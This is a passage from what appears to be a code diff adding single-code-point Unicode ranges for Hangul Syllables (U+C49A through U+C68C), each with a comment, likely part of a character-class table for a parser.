+ ["\uC49A", "\uC49A"], /* Hangul Syllable */
+ ["\uC49B", "\uC49B"], /* Hangul Syllable */
+ ["\uC49C", "\uC49C"], /* Hangul Syllable */
+ ["\uC49D", "\uC49D"], /* Hangul Syllable */
+ ["\uC49E", "\uC49E"], /* Hangul Syllable */
+ ["\uC49F", "\uC49F"], /* Hangul Syllable */
+ ["\uC4A0", "\uC4A0"], /* Hangul Syllable */
+ ["\uC4A1", "\uC4A1"], /* Hangul Syllable */
+ ["\uC4A2", "\uC4A2"], /* Hangul Syllable */
+ ["\uC4A3", "\uC4A3"], /* Hangul Syllable */
+ ["\uC4A4", "\uC4A4"], /* Hangul Syllable */
+ ["\uC4A5", "\uC4A5"], /* Hangul Syllable */
+ ["\uC4A6", "\uC4A6"], /* Hangul Syllable */
+ ["\uC4A7", "\uC4A7"], /* Hangul Syllable */
+ ["\uC4A8", "\uC4A8"], /* Hangul Syllable */
+ ["\uC4A9", "\uC4A9"], /* Hangul Syllable */
+ ["\uC4AA", "\uC4AA"], /* Hangul Syllable */
+ ["\uC4AB", "\uC4AB"], /* Hangul Syllable */
+ ["\uC4AC", "\uC4AC"], /* Hangul Syllable */
+ ["\uC4AD", "\uC4AD"], /* Hangul Syllable */
+ ["\uC4AE", "\uC4AE"], /* Hangul Syllable */
+ ["\uC4AF", "\uC4AF"], /* Hangul Syllable */
+ ["\uC4B0", "\uC4B0"], /* Hangul Syllable */
+ ["\uC4B1", "\uC4B1"], /* Hangul Syllable */
+ ["\uC4B2", "\uC4B2"], /* Hangul Syllable */
+ ["\uC4B3", "\uC4B3"], /* Hangul Syllable */
+ ["\uC4B4", "\uC4B4"], /* Hangul Syllable */
+ ["\uC4B5", "\uC4B5"], /* Hangul Syllable */
+ ["\uC4B6", "\uC4B6"], /* Hangul Syllable */
+ ["\uC4B7", "\uC4B7"], /* Hangul Syllable */
+ ["\uC4B8", "\uC4B8"], /* Hangul Syllable */
+ ["\uC4B9", "\uC4B9"], /* Hangul Syllable */
+ ["\uC4BA", "\uC4BA"], /* Hangul Syllable */
+ ["\uC4BB", "\uC4BB"], /* Hangul Syllable */
+ ["\uC4BC", "\uC4BC"], /* Hangul Syllable */
+ ["\uC4BD", "\uC4BD"], /* Hangul Syllable */
+ ["\uC4BE", "\uC4BE"], /* Hangul Syllable */
+ ["\uC4BF", "\uC4BF"], /* Hangul Syllable */
+ ["\uC4C0", "\uC4C0"], /* Hangul Syllable */
+ ["\uC4C1", "\uC4C1"], /* Hangul Syllable */
+ ["\uC4C2", "\uC4C2"], /* Hangul Syllable */
+ ["\uC4C3", "\uC4C3"], /* Hangul Syllable */
+ ["\uC4C4", "\uC4C4"], /* Hangul Syllable */
+ ["\uC4C5", "\uC4C5"], /* Hangul Syllable */
+ ["\uC4C6", "\uC4C6"], /* Hangul Syllable */
+ ["\uC4C7", "\uC4C7"], /* Hangul Syllable */
+ ["\uC4C8", "\uC4C8"], /* Hangul Syllable */
+ ["\uC4C9", "\uC4C9"], /* Hangul Syllable */
+ ["\uC4CA", "\uC4CA"], /* Hangul Syllable */
+ ["\uC4CB", "\uC4CB"], /* Hangul Syllable */
+ ["\uC4CC", "\uC4CC"], /* Hangul Syllable */
+ ["\uC4CD", "\uC4CD"], /* Hangul Syllable */
+ ["\uC4CE", "\uC4CE"], /* Hangul Syllable */
+ ["\uC4CF", "\uC4CF"], /* Hangul Syllable */
+ ["\uC4D0", "\uC4D0"], /* Hangul Syllable */
+ ["\uC4D1", "\uC4D1"], /* Hangul Syllable */
+ ["\uC4D2", "\uC4D2"], /* Hangul Syllable */
+ ["\uC4D3", "\uC4D3"], /* Hangul Syllable */
+ ["\uC4D4", "\uC4D4"], /* Hangul Syllable */
+ ["\uC4D5", "\uC4D5"], /* Hangul Syllable */
+ ["\uC4D6", "\uC4D6"], /* Hangul Syllable */
+ ["\uC4D7", "\uC4D7"], /* Hangul Syllable */
+ ["\uC4D8", "\uC4D8"], /* Hangul Syllable */
+ ["\uC4D9", "\uC4D9"], /* Hangul Syllable */
+ ["\uC4DA", "\uC4DA"], /* Hangul Syllable */
+ ["\uC4DB", "\uC4DB"], /* Hangul Syllable */
+ ["\uC4DC", "\uC4DC"], /* Hangul Syllable */
+ ["\uC4DD", "\uC4DD"], /* Hangul Syllable */
+ ["\uC4DE", "\uC4DE"], /* Hangul Syllable */
+ ["\uC4DF", "\uC4DF"], /* Hangul Syllable */
+ ["\uC4E0", "\uC4E0"], /* Hangul Syllable */
+ ["\uC4E1", "\uC4E1"], /* Hangul Syllable */
+ ["\uC4E2", "\uC4E2"], /* Hangul Syllable */
+ ["\uC4E3", "\uC4E3"], /* Hangul Syllable */
+ ["\uC4E4", "\uC4E4"], /* Hangul Syllable */
+ ["\uC4E5", "\uC4E5"], /* Hangul Syllable */
+ ["\uC4E6", "\uC4E6"], /* Hangul Syllable */
+ ["\uC4E7", "\uC4E7"], /* Hangul Syllable */
+ ["\uC4E8", "\uC4E8"], /* Hangul Syllable */
+ ["\uC4E9", "\uC4E9"], /* Hangul Syllable */
+ ["\uC4EA", "\uC4EA"], /* Hangul Syllable */
+ ["\uC4EB", "\uC4EB"], /* Hangul Syllable */
+ ["\uC4EC", "\uC4EC"], /* Hangul Syllable */
+ ["\uC4ED", "\uC4ED"], /* Hangul Syllable */
+ ["\uC4EE", "\uC4EE"], /* Hangul Syllable */
+ ["\uC4EF", "\uC4EF"], /* Hangul Syllable */
+ ["\uC4F0", "\uC4F0"], /* Hangul Syllable */
+ ["\uC4F1", "\uC4F1"], /* Hangul Syllable */
+ ["\uC4F2", "\uC4F2"], /* Hangul Syllable */
+ ["\uC4F3", "\uC4F3"], /* Hangul Syllable */
+ ["\uC4F4", "\uC4F4"], /* Hangul Syllable */
+ ["\uC4F5", "\uC4F5"], /* Hangul Syllable */
+ ["\uC4F6", "\uC4F6"], /* Hangul Syllable */
+ ["\uC4F7", "\uC4F7"], /* Hangul Syllable */
+ ["\uC4F8", "\uC4F8"], /* Hangul Syllable */
+ ["\uC4F9", "\uC4F9"], /* Hangul Syllable */
+ ["\uC4FA", "\uC4FA"], /* Hangul Syllable */
+ ["\uC4FB", "\uC4FB"], /* Hangul Syllable */
+ ["\uC4FC", "\uC4FC"], /* Hangul Syllable */
+ ["\uC4FD", "\uC4FD"], /* Hangul Syllable */
+ ["\uC4FE", "\uC4FE"], /* Hangul Syllable */
+ ["\uC4FF", "\uC4FF"], /* Hangul Syllable */
+ ["\uC500", "\uC500"], /* Hangul Syllable */
+ ["\uC501", "\uC501"], /* Hangul Syllable */
+ ["\uC502", "\uC502"], /* Hangul Syllable */
+ ["\uC503", "\uC503"], /* Hangul Syllable */
+ ["\uC504", "\uC504"], /* Hangul Syllable */
+ ["\uC505", "\uC505"], /* Hangul Syllable */
+ ["\uC506", "\uC506"], /* Hangul Syllable */
+ ["\uC507", "\uC507"], /* Hangul Syllable */
+ ["\uC508", "\uC508"], /* Hangul Syllable */
+ ["\uC509", "\uC509"], /* Hangul Syllable */
+ ["\uC50A", "\uC50A"], /* Hangul Syllable */
+ ["\uC50B", "\uC50B"], /* Hangul Syllable */
+ ["\uC50C", "\uC50C"], /* Hangul Syllable */
+ ["\uC50D", "\uC50D"], /* Hangul Syllable */
+ ["\uC50E", "\uC50E"], /* Hangul Syllable */
+ ["\uC50F", "\uC50F"], /* Hangul Syllable */
+ ["\uC510", "\uC510"], /* Hangul Syllable */
+ ["\uC511", "\uC511"], /* Hangul Syllable */
+ ["\uC512", "\uC512"], /* Hangul Syllable */
+ ["\uC513", "\uC513"], /* Hangul Syllable */
+ ["\uC514", "\uC514"], /* Hangul Syllable */
+ ["\uC515", "\uC515"], /* Hangul Syllable */
+ ["\uC516", "\uC516"], /* Hangul Syllable */
+ ["\uC517", "\uC517"], /* Hangul Syllable */
+ ["\uC518", "\uC518"], /* Hangul Syllable */
+ ["\uC519", "\uC519"], /* Hangul Syllable */
+ ["\uC51A", "\uC51A"], /* Hangul Syllable */
+ ["\uC51B", "\uC51B"], /* Hangul Syllable */
+ ["\uC51C", "\uC51C"], /* Hangul Syllable */
+ ["\uC51D", "\uC51D"], /* Hangul Syllable */
+ ["\uC51E", "\uC51E"], /* Hangul Syllable */
+ ["\uC51F", "\uC51F"], /* Hangul Syllable */
+ ["\uC520", "\uC520"], /* Hangul Syllable */
+ ["\uC521", "\uC521"], /* Hangul Syllable */
+ ["\uC522", "\uC522"], /* Hangul Syllable */
+ ["\uC523", "\uC523"], /* Hangul Syllable */
+ ["\uC524", "\uC524"], /* Hangul Syllable */
+ ["\uC525", "\uC525"], /* Hangul Syllable */
+ ["\uC526", "\uC526"], /* Hangul Syllable */
+ ["\uC527", "\uC527"], /* Hangul Syllable */
+ ["\uC528", "\uC528"], /* Hangul Syllable */
+ ["\uC529", "\uC529"], /* Hangul Syllable */
+ ["\uC52A", "\uC52A"], /* Hangul Syllable */
+ ["\uC52B", "\uC52B"], /* Hangul Syllable */
+ ["\uC52C", "\uC52C"], /* Hangul Syllable */
+ ["\uC52D", "\uC52D"], /* Hangul Syllable */
+ ["\uC52E", "\uC52E"], /* Hangul Syllable */
+ ["\uC52F", "\uC52F"], /* Hangul Syllable */
+ ["\uC530", "\uC530"], /* Hangul Syllable */
+ ["\uC531", "\uC531"], /* Hangul Syllable */
+ ["\uC532", "\uC532"], /* Hangul Syllable */
+ ["\uC533", "\uC533"], /* Hangul Syllable */
+ ["\uC534", "\uC534"], /* Hangul Syllable */
+ ["\uC535", "\uC535"], /* Hangul Syllable */
+ ["\uC536", "\uC536"], /* Hangul Syllable */
+ ["\uC537", "\uC537"], /* Hangul Syllable */
+ ["\uC538", "\uC538"], /* Hangul Syllable */
+ ["\uC539", "\uC539"], /* Hangul Syllable */
+ ["\uC53A", "\uC53A"], /* Hangul Syllable */
+ ["\uC53B", "\uC53B"], /* Hangul Syllable */
+ ["\uC53C", "\uC53C"], /* Hangul Syllable */
+ ["\uC53D", "\uC53D"], /* Hangul Syllable */
+ ["\uC53E", "\uC53E"], /* Hangul Syllable */
+ ["\uC53F", "\uC53F"], /* Hangul Syllable */
+ ["\uC540", "\uC540"], /* Hangul Syllable */
+ ["\uC541", "\uC541"], /* Hangul Syllable */
+ ["\uC542", "\uC542"], /* Hangul Syllable */
+ ["\uC543", "\uC543"], /* Hangul Syllable */
+ ["\uC544", "\uC544"], /* Hangul Syllable */
+ ["\uC545", "\uC545"], /* Hangul Syllable */
+ ["\uC546", "\uC546"], /* Hangul Syllable */
+ ["\uC547", "\uC547"], /* Hangul Syllable */
+ ["\uC548", "\uC548"], /* Hangul Syllable */
+ ["\uC549", "\uC549"], /* Hangul Syllable */
+ ["\uC54A", "\uC54A"], /* Hangul Syllable */
+ ["\uC54B", "\uC54B"], /* Hangul Syllable */
+ ["\uC54C", "\uC54C"], /* Hangul Syllable */
+ ["\uC54D", "\uC54D"], /* Hangul Syllable */
+ ["\uC54E", "\uC54E"], /* Hangul Syllable */
+ ["\uC54F", "\uC54F"], /* Hangul Syllable */
+ ["\uC550", "\uC550"], /* Hangul Syllable */
+ ["\uC551", "\uC551"], /* Hangul Syllable */
+ ["\uC552", "\uC552"], /* Hangul Syllable */
+ ["\uC553", "\uC553"], /* Hangul Syllable */
+ ["\uC554", "\uC554"], /* Hangul Syllable */
+ ["\uC555", "\uC555"], /* Hangul Syllable */
+ ["\uC556", "\uC556"], /* Hangul Syllable */
+ ["\uC557", "\uC557"], /* Hangul Syllable */
+ ["\uC558", "\uC558"], /* Hangul Syllable */
+ ["\uC559", "\uC559"], /* Hangul Syllable */
+ ["\uC55A", "\uC55A"], /* Hangul Syllable */
+ ["\uC55B", "\uC55B"], /* Hangul Syllable */
+ ["\uC55C", "\uC55C"], /* Hangul Syllable */
+ ["\uC55D", "\uC55D"], /* Hangul Syllable */
+ ["\uC55E", "\uC55E"], /* Hangul Syllable */
+ ["\uC55F", "\uC55F"], /* Hangul Syllable */
+ ["\uC560", "\uC560"], /* Hangul Syllable */
+ ["\uC561", "\uC561"], /* Hangul Syllable */
+ ["\uC562", "\uC562"], /* Hangul Syllable */
+ ["\uC563", "\uC563"], /* Hangul Syllable */
+ ["\uC564", "\uC564"], /* Hangul Syllable */
+ ["\uC565", "\uC565"], /* Hangul Syllable */
+ ["\uC566", "\uC566"], /* Hangul Syllable */
+ ["\uC567", "\uC567"], /* Hangul Syllable */
+ ["\uC568", "\uC568"], /* Hangul Syllable */
+ ["\uC569", "\uC569"], /* Hangul Syllable */
+ ["\uC56A", "\uC56A"], /* Hangul Syllable */
+ ["\uC56B", "\uC56B"], /* Hangul Syllable */
+ ["\uC56C", "\uC56C"], /* Hangul Syllable */
+ ["\uC56D", "\uC56D"], /* Hangul Syllable */
+ ["\uC56E", "\uC56E"], /* Hangul Syllable */
+ ["\uC56F", "\uC56F"], /* Hangul Syllable */
+ ["\uC570", "\uC570"], /* Hangul Syllable */
+ ["\uC571", "\uC571"], /* Hangul Syllable */
+ ["\uC572", "\uC572"], /* Hangul Syllable */
+ ["\uC573", "\uC573"], /* Hangul Syllable */
+ ["\uC574", "\uC574"], /* Hangul Syllable */
+ ["\uC575", "\uC575"], /* Hangul Syllable */
+ ["\uC576", "\uC576"], /* Hangul Syllable */
+ ["\uC577", "\uC577"], /* Hangul Syllable */
+ ["\uC578", "\uC578"], /* Hangul Syllable */
+ ["\uC579", "\uC579"], /* Hangul Syllable */
+ ["\uC57A", "\uC57A"], /* Hangul Syllable */
+ ["\uC57B", "\uC57B"], /* Hangul Syllable */
+ ["\uC57C", "\uC57C"], /* Hangul Syllable */
+ ["\uC57D", "\uC57D"], /* Hangul Syllable */
+ ["\uC57E", "\uC57E"], /* Hangul Syllable */
+ ["\uC57F", "\uC57F"], /* Hangul Syllable */
+ ["\uC580", "\uC580"], /* Hangul Syllable */
+ ["\uC581", "\uC581"], /* Hangul Syllable */
+ ["\uC582", "\uC582"], /* Hangul Syllable */
+ ["\uC583", "\uC583"], /* Hangul Syllable */
+ ["\uC584", "\uC584"], /* Hangul Syllable */
+ ["\uC585", "\uC585"], /* Hangul Syllable */
+ ["\uC586", "\uC586"], /* Hangul Syllable */
+ ["\uC587", "\uC587"], /* Hangul Syllable */
+ ["\uC588", "\uC588"], /* Hangul Syllable */
+ ["\uC589", "\uC589"], /* Hangul Syllable */
+ ["\uC58A", "\uC58A"], /* Hangul Syllable */
+ ["\uC58B", "\uC58B"], /* Hangul Syllable */
+ ["\uC58C", "\uC58C"], /* Hangul Syllable */
+ ["\uC58D", "\uC58D"], /* Hangul Syllable */
+ ["\uC58E", "\uC58E"], /* Hangul Syllable */
+ ["\uC58F", "\uC58F"], /* Hangul Syllable */
+ ["\uC590", "\uC590"], /* Hangul Syllable */
+ ["\uC591", "\uC591"], /* Hangul Syllable */
+ ["\uC592", "\uC592"], /* Hangul Syllable */
+ ["\uC593", "\uC593"], /* Hangul Syllable */
+ ["\uC594", "\uC594"], /* Hangul Syllable */
+ ["\uC595", "\uC595"], /* Hangul Syllable */
+ ["\uC596", "\uC596"], /* Hangul Syllable */
+ ["\uC597", "\uC597"], /* Hangul Syllable */
+ ["\uC598", "\uC598"], /* Hangul Syllable */
+ ["\uC599", "\uC599"], /* Hangul Syllable */
+ ["\uC59A", "\uC59A"], /* Hangul Syllable */
+ ["\uC59B", "\uC59B"], /* Hangul Syllable */
+ ["\uC59C", "\uC59C"], /* Hangul Syllable */
+ ["\uC59D", "\uC59D"], /* Hangul Syllable */
+ ["\uC59E", "\uC59E"], /* Hangul Syllable */
+ ["\uC59F", "\uC59F"], /* Hangul Syllable */
+ ["\uC5A0", "\uC5A0"], /* Hangul Syllable */
+ ["\uC5A1", "\uC5A1"], /* Hangul Syllable */
+ ["\uC5A2", "\uC5A2"], /* Hangul Syllable */
+ ["\uC5A3", "\uC5A3"], /* Hangul Syllable */
+ ["\uC5A4", "\uC5A4"], /* Hangul Syllable */
+ ["\uC5A5", "\uC5A5"], /* Hangul Syllable */
+ ["\uC5A6", "\uC5A6"], /* Hangul Syllable */
+ ["\uC5A7", "\uC5A7"], /* Hangul Syllable */
+ ["\uC5A8", "\uC5A8"], /* Hangul Syllable */
+ ["\uC5A9", "\uC5A9"], /* Hangul Syllable */
+ ["\uC5AA", "\uC5AA"], /* Hangul Syllable */
+ ["\uC5AB", "\uC5AB"], /* Hangul Syllable */
+ ["\uC5AC", "\uC5AC"], /* Hangul Syllable */
+ ["\uC5AD", "\uC5AD"], /* Hangul Syllable */
+ ["\uC5AE", "\uC5AE"], /* Hangul Syllable */
+ ["\uC5AF", "\uC5AF"], /* Hangul Syllable */
+ ["\uC5B0", "\uC5B0"], /* Hangul Syllable */
+ ["\uC5B1", "\uC5B1"], /* Hangul Syllable */
+ ["\uC5B2", "\uC5B2"], /* Hangul Syllable */
+ ["\uC5B3", "\uC5B3"], /* Hangul Syllable */
+ ["\uC5B4", "\uC5B4"], /* Hangul Syllable */
+ ["\uC5B5", "\uC5B5"], /* Hangul Syllable */
+ ["\uC5B6", "\uC5B6"], /* Hangul Syllable */
+ ["\uC5B7", "\uC5B7"], /* Hangul Syllable */
+ ["\uC5B8", "\uC5B8"], /* Hangul Syllable */
+ ["\uC5B9", "\uC5B9"], /* Hangul Syllable */
+ ["\uC5BA", "\uC5BA"], /* Hangul Syllable */
+ ["\uC5BB", "\uC5BB"], /* Hangul Syllable */
+ ["\uC5BC", "\uC5BC"], /* Hangul Syllable */
+ ["\uC5BD", "\uC5BD"], /* Hangul Syllable */
+ ["\uC5BE", "\uC5BE"], /* Hangul Syllable */
+ ["\uC5BF", "\uC5BF"], /* Hangul Syllable */
+ ["\uC5C0", "\uC5C0"], /* Hangul Syllable */
+ ["\uC5C1", "\uC5C1"], /* Hangul Syllable */
+ ["\uC5C2", "\uC5C2"], /* Hangul Syllable */
+ ["\uC5C3", "\uC5C3"], /* Hangul Syllable */
+ ["\uC5C4", "\uC5C4"], /* Hangul Syllable */
+ ["\uC5C5", "\uC5C5"], /* Hangul Syllable */
+ ["\uC5C6", "\uC5C6"], /* Hangul Syllable */
+ ["\uC5C7", "\uC5C7"], /* Hangul Syllable */
+ ["\uC5C8", "\uC5C8"], /* Hangul Syllable */
+ ["\uC5C9", "\uC5C9"], /* Hangul Syllable */
+ ["\uC5CA", "\uC5CA"], /* Hangul Syllable */
+ ["\uC5CB", "\uC5CB"], /* Hangul Syllable */
+ ["\uC5CC", "\uC5CC"], /* Hangul Syllable */
+ ["\uC5CD", "\uC5CD"], /* Hangul Syllable */
+ ["\uC5CE", "\uC5CE"], /* Hangul Syllable */
+ ["\uC5CF", "\uC5CF"], /* Hangul Syllable */
+ ["\uC5D0", "\uC5D0"], /* Hangul Syllable */
+ ["\uC5D1", "\uC5D1"], /* Hangul Syllable */
+ ["\uC5D2", "\uC5D2"], /* Hangul Syllable */
+ ["\uC5D3", "\uC5D3"], /* Hangul Syllable */
+ ["\uC5D4", "\uC5D4"], /* Hangul Syllable */
+ ["\uC5D5", "\uC5D5"], /* Hangul Syllable */
+ ["\uC5D6", "\uC5D6"], /* Hangul Syllable */
+ ["\uC5D7", "\uC5D7"], /* Hangul Syllable */
+ ["\uC5D8", "\uC5D8"], /* Hangul Syllable */
+ ["\uC5D9", "\uC5D9"], /* Hangul Syllable */
+ ["\uC5DA", "\uC5DA"], /* Hangul Syllable */
+ ["\uC5DB", "\uC5DB"], /* Hangul Syllable */
+ ["\uC5DC", "\uC5DC"], /* Hangul Syllable */
+ ["\uC5DD", "\uC5DD"], /* Hangul Syllable */
+ ["\uC5DE", "\uC5DE"], /* Hangul Syllable */
+ ["\uC5DF", "\uC5DF"], /* Hangul Syllable */
+ ["\uC5E0", "\uC5E0"], /* Hangul Syllable */
+ ["\uC5E1", "\uC5E1"], /* Hangul Syllable */
+ ["\uC5E2", "\uC5E2"], /* Hangul Syllable */
+ ["\uC5E3", "\uC5E3"], /* Hangul Syllable */
+ ["\uC5E4", "\uC5E4"], /* Hangul Syllable */
+ ["\uC5E5", "\uC5E5"], /* Hangul Syllable */
+ ["\uC5E6", "\uC5E6"], /* Hangul Syllable */
+ ["\uC5E7", "\uC5E7"], /* Hangul Syllable */
+ ["\uC5E8", "\uC5E8"], /* Hangul Syllable */
+ ["\uC5E9", "\uC5E9"], /* Hangul Syllable */
+ ["\uC5EA", "\uC5EA"], /* Hangul Syllable */
+ ["\uC5EB", "\uC5EB"], /* Hangul Syllable */
+ ["\uC5EC", "\uC5EC"], /* Hangul Syllable */
+ ["\uC5ED", "\uC5ED"], /* Hangul Syllable */
+ ["\uC5EE", "\uC5EE"], /* Hangul Syllable */
+ ["\uC5EF", "\uC5EF"], /* Hangul Syllable */
+ ["\uC5F0", "\uC5F0"], /* Hangul Syllable */
+ ["\uC5F1", "\uC5F1"], /* Hangul Syllable */
+ ["\uC5F2", "\uC5F2"], /* Hangul Syllable */
+ ["\uC5F3", "\uC5F3"], /* Hangul Syllable */
+ ["\uC5F4", "\uC5F4"], /* Hangul Syllable */
+ ["\uC5F5", "\uC5F5"], /* Hangul Syllable */
+ ["\uC5F6", "\uC5F6"], /* Hangul Syllable */
+ ["\uC5F7", "\uC5F7"], /* Hangul Syllable */
+ ["\uC5F8", "\uC5F8"], /* Hangul Syllable */
+ ["\uC5F9", "\uC5F9"], /* Hangul Syllable */
+ ["\uC5FA", "\uC5FA"], /* Hangul Syllable */
+ ["\uC5FB", "\uC5FB"], /* Hangul Syllable */
+ ["\uC5FC", "\uC5FC"], /* Hangul Syllable */
+ ["\uC5FD", "\uC5FD"], /* Hangul Syllable */
+ ["\uC5FE", "\uC5FE"], /* Hangul Syllable */
+ ["\uC5FF", "\uC5FF"], /* Hangul Syllable */
+ ["\uC600", "\uC600"], /* Hangul Syllable */
+ ["\uC601", "\uC601"], /* Hangul Syllable */
+ ["\uC602", "\uC602"], /* Hangul Syllable */
+ ["\uC603", "\uC603"], /* Hangul Syllable */
+ ["\uC604", "\uC604"], /* Hangul Syllable */
+ ["\uC605", "\uC605"], /* Hangul Syllable */
+ ["\uC606", "\uC606"], /* Hangul Syllable */
+ ["\uC607", "\uC607"], /* Hangul Syllable */
+ ["\uC608", "\uC608"], /* Hangul Syllable */
+ ["\uC609", "\uC609"], /* Hangul Syllable */
+ ["\uC60A", "\uC60A"], /* Hangul Syllable */
+ ["\uC60B", "\uC60B"], /* Hangul Syllable */
+ ["\uC60C", "\uC60C"], /* Hangul Syllable */
+ ["\uC60D", "\uC60D"], /* Hangul Syllable */
+ ["\uC60E", "\uC60E"], /* Hangul Syllable */
+ ["\uC60F", "\uC60F"], /* Hangul Syllable */
+ ["\uC610", "\uC610"], /* Hangul Syllable */
+ ["\uC611", "\uC611"], /* Hangul Syllable */
+ ["\uC612", "\uC612"], /* Hangul Syllable */
+ ["\uC613", "\uC613"], /* Hangul Syllable */
+ ["\uC614", "\uC614"], /* Hangul Syllable */
+ ["\uC615", "\uC615"], /* Hangul Syllable */
+ ["\uC616", "\uC616"], /* Hangul Syllable */
+ ["\uC617", "\uC617"], /* Hangul Syllable */
+ ["\uC618", "\uC618"], /* Hangul Syllable */
+ ["\uC619", "\uC619"], /* Hangul Syllable */
+ ["\uC61A", "\uC61A"], /* Hangul Syllable */
+ ["\uC61B", "\uC61B"], /* Hangul Syllable */
+ ["\uC61C", "\uC61C"], /* Hangul Syllable */
+ ["\uC61D", "\uC61D"], /* Hangul Syllable */
+ ["\uC61E", "\uC61E"], /* Hangul Syllable */
+ ["\uC61F", "\uC61F"], /* Hangul Syllable */
+ ["\uC620", "\uC620"], /* Hangul Syllable */
+ ["\uC621", "\uC621"], /* Hangul Syllable */
+ ["\uC622", "\uC622"], /* Hangul Syllable */
+ ["\uC623", "\uC623"], /* Hangul Syllable */
+ ["\uC624", "\uC624"], /* Hangul Syllable */
+ ["\uC625", "\uC625"], /* Hangul Syllable */
+ ["\uC626", "\uC626"], /* Hangul Syllable */
+ ["\uC627", "\uC627"], /* Hangul Syllable */
+ ["\uC628", "\uC628"], /* Hangul Syllable */
+ ["\uC629", "\uC629"], /* Hangul Syllable */
+ ["\uC62A", "\uC62A"], /* Hangul Syllable */
+ ["\uC62B", "\uC62B"], /* Hangul Syllable */
+ ["\uC62C", "\uC62C"], /* Hangul Syllable */
+ ["\uC62D", "\uC62D"], /* Hangul Syllable */
+ ["\uC62E", "\uC62E"], /* Hangul Syllable */
+ ["\uC62F", "\uC62F"], /* Hangul Syllable */
+ ["\uC630", "\uC630"], /* Hangul Syllable */
+ ["\uC631", "\uC631"], /* Hangul Syllable */
+ ["\uC632", "\uC632"], /* Hangul Syllable */
+ ["\uC633", "\uC633"], /* Hangul Syllable */
+ ["\uC634", "\uC634"], /* Hangul Syllable */
+ ["\uC635", "\uC635"], /* Hangul Syllable */
+ ["\uC636", "\uC636"], /* Hangul Syllable */
+ ["\uC637", "\uC637"], /* Hangul Syllable */
+ ["\uC638", "\uC638"], /* Hangul Syllable */
+ ["\uC639", "\uC639"], /* Hangul Syllable */
+ ["\uC63A", "\uC63A"], /* Hangul Syllable */
+ ["\uC63B", "\uC63B"], /* Hangul Syllable */
+ ["\uC63C", "\uC63C"], /* Hangul Syllable */
+ ["\uC63D", "\uC63D"], /* Hangul Syllable */
+ ["\uC63E", "\uC63E"], /* Hangul Syllable */
+ ["\uC63F", "\uC63F"], /* Hangul Syllable */
+ ["\uC640", "\uC640"], /* Hangul Syllable */
+ ["\uC641", "\uC641"], /* Hangul Syllable */
+ ["\uC642", "\uC642"], /* Hangul Syllable */
+ ["\uC643", "\uC643"], /* Hangul Syllable */
+ ["\uC644", "\uC644"], /* Hangul Syllable */
+ ["\uC645", "\uC645"], /* Hangul Syllable */
+ ["\uC646", "\uC646"], /* Hangul Syllable */
+ ["\uC647", "\uC647"], /* Hangul Syllable */
+ ["\uC648", "\uC648"], /* Hangul Syllable */
+ ["\uC649", "\uC649"], /* Hangul Syllable */
+ ["\uC64A", "\uC64A"], /* Hangul Syllable */
+ ["\uC64B", "\uC64B"], /* Hangul Syllable */
+ ["\uC64C", "\uC64C"], /* Hangul Syllable */
+ ["\uC64D", "\uC64D"], /* Hangul Syllable */
+ ["\uC64E", "\uC64E"], /* Hangul Syllable */
+ ["\uC64F", "\uC64F"], /* Hangul Syllable */
+ ["\uC650", "\uC650"], /* Hangul Syllable */
+ ["\uC651", "\uC651"], /* Hangul Syllable */
+ ["\uC652", "\uC652"], /* Hangul Syllable */
+ ["\uC653", "\uC653"], /* Hangul Syllable */
+ ["\uC654", "\uC654"], /* Hangul Syllable */
+ ["\uC655", "\uC655"], /* Hangul Syllable */
+ ["\uC656", "\uC656"], /* Hangul Syllable */
+ ["\uC657", "\uC657"], /* Hangul Syllable */
+ ["\uC658", "\uC658"], /* Hangul Syllable */
+ ["\uC659", "\uC659"], /* Hangul Syllable */
+ ["\uC65A", "\uC65A"], /* Hangul Syllable */
+ ["\uC65B", "\uC65B"], /* Hangul Syllable */
+ ["\uC65C", "\uC65C"], /* Hangul Syllable */
+ ["\uC65D", "\uC65D"], /* Hangul Syllable */
+ ["\uC65E", "\uC65E"], /* Hangul Syllable */
+ ["\uC65F", "\uC65F"], /* Hangul Syllable */
+ ["\uC660", "\uC660"], /* Hangul Syllable */
+ ["\uC661", "\uC661"], /* Hangul Syllable */
+ ["\uC662", "\uC662"], /* Hangul Syllable */
+ ["\uC663", "\uC663"], /* Hangul Syllable */
+ ["\uC664", "\uC664"], /* Hangul Syllable */
+ ["\uC665", "\uC665"], /* Hangul Syllable */
+ ["\uC666", "\uC666"], /* Hangul Syllable */
+ ["\uC667", "\uC667"], /* Hangul Syllable */
+ ["\uC668", "\uC668"], /* Hangul Syllable */
+ ["\uC669", "\uC669"], /* Hangul Syllable */
+ ["\uC66A", "\uC66A"], /* Hangul Syllable */
+ ["\uC66B", "\uC66B"], /* Hangul Syllable */
+ ["\uC66C", "\uC66C"], /* Hangul Syllable */
+ ["\uC66D", "\uC66D"], /* Hangul Syllable */
+ ["\uC66E", "\uC66E"], /* Hangul Syllable */
+ ["\uC66F", "\uC66F"], /* Hangul Syllable */
+ ["\uC670", "\uC670"], /* Hangul Syllable */
+ ["\uC671", "\uC671"], /* Hangul Syllable */
+ ["\uC672", "\uC672"], /* Hangul Syllable */
+ ["\uC673", "\uC673"], /* Hangul Syllable */
+ ["\uC674", "\uC674"], /* Hangul Syllable */
+ ["\uC675", "\uC675"], /* Hangul Syllable */
+ ["\uC676", "\uC676"], /* Hangul Syllable */
+ ["\uC677", "\uC677"], /* Hangul Syllable */
+ ["\uC678", "\uC678"], /* Hangul Syllable */
+ ["\uC679", "\uC679"], /* Hangul Syllable */
+ ["\uC67A", "\uC67A"], /* Hangul Syllable */
+ ["\uC67B", "\uC67B"], /* Hangul Syllable */
+ ["\uC67C", "\uC67C"], /* Hangul Syllable */
+ ["\uC67D", "\uC67D"], /* Hangul Syllable */
+ ["\uC67E", "\uC67E"], /* Hangul Syllable */
+ ["\uC67F", "\uC67F"], /* Hangul Syllable */
+ ["\uC680", "\uC680"], /* Hangul Syllable */
+ ["\uC681", "\uC681"], /* Hangul Syllable */
+ ["\uC682", "\uC682"], /* Hangul Syllable */
+ ["\uC683", "\uC683"], /* Hangul Syllable */
+ ["\uC684", "\uC684"], /* Hangul Syllable */
+ ["\uC685", "\uC685"], /* Hangul Syllable */
+ ["\uC686", "\uC686"], /* Hangul Syllable */
+ ["\uC687", "\uC687"], /* Hangul Syllable */
+ ["\uC688", "\uC688"], /* Hangul Syllable */
+ ["\uC689", "\uC689"], /* Hangul Syllable */
+ ["\uC68A", "\uC68A"], /* Hangul Syllable */
+ ["\uC68B", "\uC68B"], /* Hangul Syllable */
+ ["\uC68C", "\uC68C"], /* Hangul Syllable */
